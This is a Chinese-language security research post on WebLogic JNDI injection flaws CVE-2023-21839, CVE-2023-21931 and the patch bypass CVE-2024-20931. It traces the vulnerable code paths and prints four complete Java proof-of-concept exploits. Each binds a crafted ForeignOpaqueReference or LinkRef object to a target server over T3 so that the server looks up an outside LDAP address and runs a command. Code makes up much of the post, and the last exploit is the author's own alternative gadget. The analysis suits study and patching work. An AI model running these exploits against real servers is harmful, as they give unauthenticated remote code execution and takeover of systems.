从CVE-2023-21839到CVE-2024-20931

前言

某天刷手机看到微信公众号上发布的漏洞通告 "Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)" 就联想到了WebLogic之前也存在过的JNDI注入漏洞,分别是CVE-2023-21839 和 CVE-2023-21931 。漏洞通告中说的是CVE-2023-21839的补丁绕过,于是就想看看绕过,学习学习,也回顾一下前面两个漏洞

远程绑定对象

Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看

// 创建远程对象  
MyRemoteObject remoteObject = new MyRemoteObject();  
// 获取上下文  
Hashtable env = new Hashtable();  
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");  
env.put(Context.PROVIDER_URL, "t3://<server_ip>:<iiop_port>");  
Context ctx = new InitialContext(env);  
// 绑定对象到JNDI  
ctx.rebind("myRemoteObject", remoteObject);  
// 远程查找对象  
MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");

CVE-2023-21839

漏洞描述

当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

漏洞分析

在t3/iiop协议解析查找对象的过程中会调用weblogic.jndi.internal.WLNamingManagergetObjectInstance方法

image-20240221170346715

这个第一个参数boundObject是远程绑定的对象,如果这个对象继承或实现了OpaqueReference接口则会调用这个对象的getReferent()方法

漏洞利用的是weblogic.deployment.jms.ForeignOpaqueReference这个类

在这个类的getReferent()方法中实现了JNDI的初始化上下文和对象查询

image-20240221171006374

image-20240221171226078

如果可以控制这个类的this.jndiEnvironmentthis.remoteJNDIName就能造成JNDI注入

这个可以通过反射修改

ForeignOpaqueReference f = new ForeignOpaqueReference();  
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");  
jndiEnvironment.setAccessible(true);  
jndiEnvironment.set(f, env2);  
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");  
remoteJNDIName.setAccessible(true);  
String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";  
remoteJNDIName.set(f, ldap);

最后poc如下:

import javax.naming.Context;  
import javax.naming.InitialContext;  
import java.lang.reflect.Field;  
import java.util.Hashtable;  
import weblogic.deployment.jms.ForeignOpaqueReference;  
import javax.naming.LinkRef;  
public class Main {  
    public static void main(String[] args) throws Exception {  
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";  

        // 创建用来远程绑定对象的InitialContext  
        String url = "t3://192.168.79.146:7001"; // 目标机器  
        Hashtable env1 = new Hashtable();  
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);  
        env1.put(Context.PROVIDER_URL, url); // 目标  
        InitialContext c = new InitialContext(env1);  

        // ForeignOpaqueReference的jndiEnvironment属性  
        Hashtable env2 = new Hashtable();  
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");  

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ----------------- CVE-2023-21839  
        ForeignOpaqueReference f = new ForeignOpaqueReference();  
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");  
        jndiEnvironment.setAccessible(true);  
        jndiEnvironment.set(f, env2);  
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");  
        remoteJNDIName.setAccessible(true);  
        String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";  
        remoteJNDIName.set(f, ldap);  

        // 远程绑定ForeignOpaqueReference对象  
        c.rebind("sectest", f);  
        // lookup查询ForeignOpaqueReference对象  
        try {  
            c.lookup("sectest");  
        } catch (Exception e) {  
        }  
    }  
}

CVE-2023-21931

漏洞分析

这个漏洞和CVE-2023-21839的差不多,区别在于weblogic.jndi.internal.WLNamingManagergetObjectInstance方法中

image-20240221172407635

该漏洞走的是另外一个分支,如果绑定的对象继承了LinkRef类则进入这个分支

看到下面的boundObject = ic.lookup(linkName) , 如果能控制这个linkName就可以造成JNDI注入了

跟进getLinkName()

image-20240221172902170

继续跟进getContent()

image-20240221172949510

可以看到这个contents是通过构造函数赋值的,是LinkRef构造函数中传入的linkName

image-20240221173040840

所有这个poc很简单

import javax.naming.Context;  
import javax.naming.InitialContext;  
import java.lang.reflect.Field;  
import java.util.Hashtable;  
import weblogic.deployment.jms.ForeignOpaqueReference;  
import javax.naming.LinkRef;  
public class Main {  
    public static void main(String[] args) throws Exception {  
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";  

        // 创建用来远程绑定对象的InitialContext  
        String url = "t3://192.168.79.146:7001"; // 目标机器  
        Hashtable env1 = new Hashtable();  
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);  
        env1.put(Context.PROVIDER_URL, url); // 目标  
        InitialContext c = new InitialContext(env1);  

        // ForeignOpaqueReference的jndiEnvironment属性  
        Hashtable env2 = new Hashtable();  
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");  

        //LinkRef类使用  
        LinkRef f = new LinkRef("ldap://192.168.1.12:1389/Basic/Command/calc");           //CVE-2023-21931  

        // 远程绑定ForeignOpaqueReference对象  
        c.rebind("sectest", f);  

        // lookup查询ForeignOpaqueReference对象  
        try {  
            c.lookup("sectest");  
        } catch (Exception e) {  
        }  
    }  
}

CVE-2024-20931

漏洞描述:

该漏洞为CVE-2023-21839的补丁绕过,未经身份验证的威胁者可通过 T3、IIOP 进行网络访问来破坏 Oracle WebLogic Server,成功利用该漏洞可能导致Oracle WebLogic Server被接管或未授权访问

受影响的支持版本包括:

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

漏洞分析

在补丁中,对weblogic.deployment.jms.ForeignOpaqueReference这个利用类的getReferent()方法进行了些许修改:

img

这里对这个java.naming.provider.url进行了检查(验签),检查不过则报错处理,不再往下运行。可以将其置空则会不进入判断继续往下运行

往下还能看到对remoteJNDIName的处理

img

这个JNDIUtils.isValidJndiScheme方法似乎绕不过

img

根据网传的POC,还是使用的是使用这个类

在这个补丁中还是能够正常的利用到这一步:

context = new InitialContext(this.jndiEnvironment);

这个this.jndiEnvironment可控,漏洞就是在这一步中触发

思路是在指定java.naming.factory.initial进行初始化的时候进行利用,指定的java.naming.factory.initialoracle.jms.AQjmsInitialContextFactory

在oracle.jms.AQjmsInitialContextFactory进行初始化的时候会new 一个AQjmsContext()对象,其中这个var1参数是可控的

image-20240221195229168

跟进查看

image-20240221195344224

这个构造函数会将Hashtable中的datasource,保存到this.dsLocation中,然后调用this.getDataSource()

image-20240221195503642

然后在这个方法中造成了JNDI注入,这样就不用再受前面说的this.remoteJNDIName的限制了

完整POC:

import javax.naming.Context;  
import javax.naming.InitialContext;  
import java.lang.reflect.Field;  
import java.util.Hashtable;  
import weblogic.deployment.jms.ForeignOpaqueReference;  
import javax.naming.LinkRef;  
public class Main {  
    public static void main(String[] args) throws Exception {  
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";  

        // 创建用来远程绑定对象的InitialContext  
        String url = "t3://192.168.79.146:7001"; // 目标机器  
        Hashtable env1 = new Hashtable();  
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);  
        env1.put(Context.PROVIDER_URL, url); // 目标  
        InitialContext c = new InitialContext(env1);  

        // ForeignOpaqueReference的jndiEnvironment属性  
        Hashtable env2 = new Hashtable();  
        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");  
        env2.put("datasource", "ldap://192.168.1.12:1389/Basic/Command/calc");  

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性  
        ForeignOpaqueReference f = new ForeignOpaqueReference();  
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");  
        jndiEnvironment.setAccessible(true);  
        jndiEnvironment.set(f, env2);  

        // 远程绑定ForeignOpaqueReference对象  
        c.rebind("glassy", f);  

        // lookup查询ForeignOpaqueReference对象  
        try {  
            c.lookup("glassy");  
        } catch (Exception e) {  
        }  
    }  
}

其他思考

CVE-2024-20931还是使用了和CVE-2024-20931一样的类weblogic.deployment.jms.ForeignOpaqueReference

回到weblogic.jndi.internal.WLNamingManagergetObjectInstance方法中

image-20240221172407635

是不是还能找到其他实现了OpaqueReference接口的利用类

然后找到weblogic.jndi.internal.ForeignOpaqueReference

乍一看以为是前面的weblogic.deployment.jms.ForeignOpaqueReference ,但是这个类比它简单很多

查看该类的getReferent()

public Object getReferent(Name name, Context ctx) throws NamingException {  
        InitialContext context;  
        if (this.jndiEnvironment == null) {  
            context = new InitialContext();  
        } else {  
            Hashtable properties = this.decrypt();  
            context = new InitialContext(properties);  
        }  

        Object retVal;  
        try {  
            retVal = context.lookup(this.remoteJNDIName);  
        } finally {  
            context.close();  
        }  

        return retVal;  
    }

完美! 可用!

POC 如下:

import javax.naming.Context;  
import javax.naming.InitialContext;  
import java.lang.reflect.Field;  
import java.util.Hashtable;  
//import weblogic.deployment.jms.ForeignOpaqueReference; //CVE-2023-21839+CVE-2024-20931  
import weblogic.jndi.internal.ForeignOpaqueReference;  
import javax.naming.LinkRef;  
import com.rsa.jsafe.JSAFE_InvalidUseException;  
public class Main {  
    public static void main(String[] args) throws Exception {  
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";  

        // 创建用来远程绑定对象的InitialContext  
        String url = "t3://192.168.79.146:7001"; // 目标机器  
        Hashtable env1 = new Hashtable();  
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);  
        env1.put(Context.PROVIDER_URL, url); // 目标  
        InitialContext c = new InitialContext(env1);  

        // ForeignOpaqueReference的jndiEnvironment属性  
        Hashtable env2 = new Hashtable();  
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");  

        String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";  
        ForeignOpaqueReference f = new ForeignOpaqueReference(ldap,env2);  

        // 远程绑定ForeignOpaqueReference对象  
        c.rebind("sectest", f);  
        // lookup查询ForeignOpaqueReference对象  
        try {  
            c.lookup("sectest");  
        } catch (Exception e) {  
        }  
    }  
}

在我以为自己找到了新方法的时候,才发现漏洞作者已经提到过了,只是没有放POC

白高兴一场

我还找到这个类:weblogic.application.naming.MessageDestinationReference

在这个类的lookupMessageDestination()方法中也可以JNDI:

public Object lookupMessageDestination() throws NamingException {  
        InitialContext ic;  
        if (this.initialContextFactory == null) {  
            ic = new InitialContext();  
        } else {  
            Hashtable<String, String> env = new Hashtable();  
            env.put("java.naming.factory.initial", this.initialContextFactory);  
            if (null != this.providerURL) {  
                env.put("java.naming.provider.url", this.providerURL);  
            }  

            ic = new InitialContext(env);  
        }  

        return ic.lookup(this.jndiName);  
    }

整个调用过程如下,但是不知道能不能利用,需要慢慢尝试

image-20240222122909545

经过一番尝试,不能利用这个调用过程,因为无法控制参数replacerList (或许能控制,只是我太菜了),进而无法让其调用到weblogic.application.naming.MessageDestinationObjectFactorygetObjectInstance

image-20240223153204665

END